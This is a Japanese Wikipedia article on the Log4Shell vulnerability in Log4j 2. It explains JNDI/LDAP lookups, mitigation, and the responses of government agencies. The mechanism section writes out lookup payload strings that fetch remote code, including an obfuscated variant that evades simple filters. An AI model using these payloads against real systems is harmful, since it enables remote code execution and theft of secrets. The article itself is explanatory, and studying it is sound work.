Log4Shell

出典: フリー百科事典『ウィキペディア(Wikipedia)』
Log4Shell
CVE 識別子 CVE-2021-44228
発見日時 2021年11月24日 (9か月前) (2021-11-24)
修正日時 2021年12月6日 (9か月前) (2021-12-06)
発見者 Alibaba CloudセキュリティチームのChen Zhaojun[1]
影響を受ける
ソフトウェア
Log4j 2を使用してユーザー入力をロギングしているアプリケーション

Log4Shell(別名CVE-2021-44228)は、よく使われているJavaログフレームワーク英語版Log4jで発見されたゼロデイ任意コード実行脆弱性である[2][3]。この脆弱性は、2021年11月24日にAlibabaのクラウドセキュリティチームによって秘密裏にApacheに報告され、2021年12月9日に一般に公開された[1][4][5]

この脆弱性は、Log4jがLDAPとJNDIのリクエストをチェックしないことを利用している。これにより、攻撃者は任意のJavaコードをサーバーや他のコンピュータ上で実行できてしまう。影響を受けるサービスとしては、Amazon AWS[6]CloudflareiCloud、JavaバージョンのMinecraft[7]SteamTencent QQ[8][9]などがある。この脆弱性を、LunaSecは「壊滅的な割合の設計上の失敗」[5]、Tenableは「過去10年間で最大かつ最も重大な単一の脆弱性」と特徴づけた[10]。Log4jを擁するApache Software Foundationは、Log4ShellのCVSS英語版レーティングを最大値の10に指定した[11]

背景[編集]

Log4jは、ソフトウェア開発者がアプリケーション内のさまざまなデータをロギングできるようにするオープンソースのログフレームワークである。ログデータにはユーザー入力が含まれる場合がある。Log4jは幅広いJavaアプリケーション、特にエンタープライズのソフトウェアで利用されている[5]。もともとは2001年にCeki Gülcüによって書かれ、現在はApache Software FoundationのApache Logging Servicesの一部となっている[12]

動作[編集]

Java Naming and Directory Interface(JNDI)を使用すると、実行時にデータへのパスを指定してJavaオブジェクトがルックアップできるようになる。JNDIではいくつかのディレクトリインターフェイスを利用でき、各インターフェイスはファイルを検索するために異なるスキームを提供している。これらのインターフェースの中に、Java以外でも利用されるLightweight Directory Access Protocol(LDAP)プロトコルがあり[13]、ローカルまたはインターネット上の任意の場所にある適切なサーバーからURLとしてオブジェクトデータを取得する[14]

デフォルトの設定では、文字列をロギングする際に、Log4j 2は ${prefix:name}という形式の式で文字列置換を実行する[14]。たとえば、Text: ${java:version}Text: Java version 1.7.0_67などの文字列に置換される[15]。認識される式の中には、${jndi:<lookup>}がある。これは、LDAPを経由したルックアップを指定することにより、任意のURLに問い合わせが行われ、Javaオブジェクトデータとしてロードされるというものである、たとえば、${jndi:ldap://example.com/file}は、インターネットに接続されていた場合、指定したURLからデータを読み込む。したがって、攻撃者はロギングされる文字列を入力することで、公開URLでホストされた悪意のあるコードを読み込ませることが可能になる[14]。たとえデータの実行自体が無効化されていたとしても、攻撃者はURLに特定の文字列を含めることで、たとえば秘密にすべき環境変数などのデータを攻撃者のサーバーに送信できる[16][17]

HTTPリクエストはロギングされることが多いため、よくある攻撃ベクターは、HTTPリクエストのURLや、ログに書かれることが多いUser-AgentなどのHTTPヘッダに悪意のある文字列を置くことである。初期の緩和策の1つは、${jndiなどの文字列を含むすべてのリクエストをブロックするという方法だった[18]。しかし、このように単純に検索するだけの対策は、リクエストを難読化することで回避できてしまう。たとえば、${${lower:j}ndiは、文字jを小文字にする操作が実行されたあとにJNDIルックアップに変換されてしまう[19]。入力がすぐにログに記録されなかったとしても、後に内部処理中にログに記録されて実行されてしまう可能性もある[14]

なおLog4j 1.x系については、JNDI Lookup機能を持たないこと、またJMS Appenderが有効でもクラス情報がデシリアライズされないため、本脆弱性の影響を受けない[20]

緩和[編集]

この脆弱性の修正は、脆弱性が公開される3日前の2021年12月6日に、Log4jバージョン2.15.0-rc1でリリースされた[21]。修正にはルックアップに使用できるサーバーとプロトコルの制限が含まれ、複数のシステムプロパティを使用して設定できる。修正は、システムプロパティlog4j2.formatMsgNoLookupsを置き換えるものである。2.10.0以降のバージョンでは、脆弱性を緩和するためにlog4j2.formatMsgNoLookupstrueに設定することが推奨されている[22][23][11]。2.10.0以前のバージョンでは、クラスorg.apache.logging.log4j.core.lookup.JndiLookupclasspathから削除する必要がある[11]

さらに、バージョン2.16.0以降では、JNDIを使用するすべての機能はデフォルトで無効になる[24]

新しいバージョンのJava Runtime Environment(JRE)は、リモートコードがデフォルトでロードされないようにブロックすることでこの脆弱性を緩和できるが、特定のアプリケーションにはまだ他の攻撃ベクターが存在する[2][16][25]。脆弱性のあるlog4jのバージョンの発見を助けるためにいくつかの手法とツールが公開されている[26]

反応と影響[編集]

アメリカ合衆国では、サイバーセキュリティ・インフラストラクチャ・セキュリティ庁英語版(CISA)の長官Jen Easterlyがエクスプロイトを「致命的(critical)」と述べ、ベンダーにソフトウェアアップデートを優先するようアドバイスを出した[27]カナダサイバーセキュリティセンター英語版(CCCS)は、さまざまな組織に直ちに対応を取るように呼びかけた[28]ドイツ連邦情報セキュリティ庁(BSI)は、この脆弱性を政府機関の最高の脅威レベルにあると指定し、「非常に重大な脅威の状況」と呼んだ。また、いくつかの攻撃がすでに成功しており、エクスプロイトの範囲を評価するのは依然として難しいと報告した[29][30]

Cloudflare CEOのMatthew Princeによると、エクスプロイトの利用またはテストを示すエビデンスは、一般に公開される9日前の早くも12月1日に遡る[31]。 サイバーセキュリティ会社のGreyNoiseによれば、いくつかのIPアドレスが脆弱性のあるサーバーをチェックするためにウェブサイトをスクレイピングしていることがわかっている[32]カナダ歳入庁英語版は、エクスプロイトが発覚してから一時的にオンラインサービスをシャットダウンし、ケベック州政府英語版は「予防措置(preventative measure)」として約4000のウェブサイトを閉鎖した[33]

システム管理者は、状況を評価し、ライブラリを更新またはシステムプロパティを使用してルックアップを無効にする緩和策を可能な限り迅速に実行するようにアドバイスされている[34]

出典[編集]

  1. ^ a b Log4Shell Vulnerability is the Coal in our Stocking for 2021” (英語). McAfee (2021年12月10日). 2021年12月12日閲覧。
  2. ^ a b Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package” (英語). www.lunasec.io (2021年12月9日). 2021年12月12日閲覧。
  3. ^ CVE - CVE-2021-44228”. cve.mitre.org. 2021年12月12日閲覧。
  4. ^ Worst Apache Log4j RCE Zero day Dropped on Internet”. www.cyberkendra.com (2021年12月9日). 2021年12月12日閲覧。
  5. ^ a b c Newman, Lily Hay. “‘The Internet Is on Fire’” (英語). Wired. ISSN 1059-1028. https://www.wired.com/story/log4j-flaw-hacking-internet/ 2021年12月12日閲覧。 
  6. ^ Update for Apache Log4j2 Issue (CVE-2021-44228)”. aws.amazon.com (2021年12月12日). 2021年12月13日閲覧。
  7. ^ Security Vulnerability in Minecraft: Java Edition”. Mojang Studios. 2021年12月13日閲覧。
  8. ^ Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit” (英語). PC Magazine. 2021年12月12日閲覧。
  9. ^ Goodin (2021年12月10日). “The Internet's biggest players are all affected by critical Log4Shell 0-day”. ArsTechnica. 2021年12月13日閲覧。
  10. ^ Press (2021年12月11日). “Recently uncovered software flaw ‘most critical vulnerability of the last decade’” (英語). The Guardian. 2021年12月12日閲覧。
  11. ^ a b c Log4j – Apache Log4j Security Vulnerabilities”. logging.apache.org. 2021年12月12日閲覧。
  12. ^ Log4j – Apache Log4j 2”. logging.apache.org. 2021年12月12日閲覧。
  13. ^ Network Working Group (2006年6月). “RFC 4511: Lightweight Directory Access Protocol (LDAP)”. International Electronic Task Force. 2021年12月13日閲覧。
  14. ^ a b c d Graham-Cumming (2021年12月10日). “Inside the Log4j2 vulnerability (CVE-2021-44228)” (英語). The Cloudflare Blog. 2021年12月13日閲覧。
  15. ^ Lookups”. Apache Logging Services. Apache Software Foundation (2021年12月6日). 2021年12月13日閲覧。
  16. ^ a b Ducklin (2021年12月12日). “Log4Shell explained – how it works, why you need to know, and how to fix it”. Naked Security. Sophos. 2021年12月12日閲覧。
  17. ^ Miessler (2021年12月13日). “The log4j (Log4Shell) Situation”. 2021年12月12日閲覧。
  18. ^ Gabor. “CVE-2021-44228 - Log4j RCE 0-day mitigation”. The Cloudflare Blog. 2021年12月13日閲覧。
  19. ^ Hahad (2021年12月12日). “Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns”. 2021年12月12日閲覧。
  20. ^ Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起 - JPCERT/CC・2021年12月13日
  21. ^ Restrict LDAP access via JNDI by rgoers - Pull Request #608 - apache/logging-log4j2” (英語). GitHub (2021年12月5日). 2021年12月12日閲覧。
  22. ^ LOG4J2-3198: Log4j2 no longer formats lookups in messages by default” (英語). GitHub (2021年12月5日). 2021年12月14日閲覧。
  23. ^ Goodin (2021年12月10日). “Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet” (英語). Ars Technica. 2021年12月12日閲覧。
  24. ^ LOG4J2-3208: Disable JNDI by default”. issues.apache.org (2021年12月11日). 2021年12月14日閲覧。
  25. ^ Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes” (英語). Oracle (2017年1月17日). 2021年12月13日閲覧。
  26. ^ Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)” (英語). www.lunasec.io (2021年12月13日). 2021年12月13日閲覧。
  27. ^ STATEMENT FROM CISA DIRECTOR EASTERLY ON "LOG4J" VULNERABILITY”. CISA (2021年12月11日). 2021年12月14日閲覧。
  28. ^ Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action” (英語). Government of Canada (2021年12月12日). 2021年12月14日閲覧。
  29. ^ BSI warnt vor Sicherheitslücke”. Tagesschau (2021年12月12日). 2021年12月14日閲覧。
  30. ^ Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage” (ドイツ語). BSI press service (2021年12月12日). 2021年12月14日閲覧。
  31. ^ Duckett. “Log4j RCE activity began on December 1 as botnets start using vulnerability” (英語). ZDNet. 2021年12月13日閲覧。
  32. ^ Apache Log4j RCE Attempts”. www.greynoise.io. 2021年12月12日閲覧。
  33. ^ “Facing cybersecurity threats, Quebec shuts down government websites for evaluation”. CBC News. (2021年12月12日). https://www.cbc.ca/news/canada/montreal/quebec-cybersecurity-threat-government-website-1.6283133 2021年12月12日閲覧。 
  34. ^ Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation”. CISA. 2021年12月12日閲覧。

外部リンク[編集]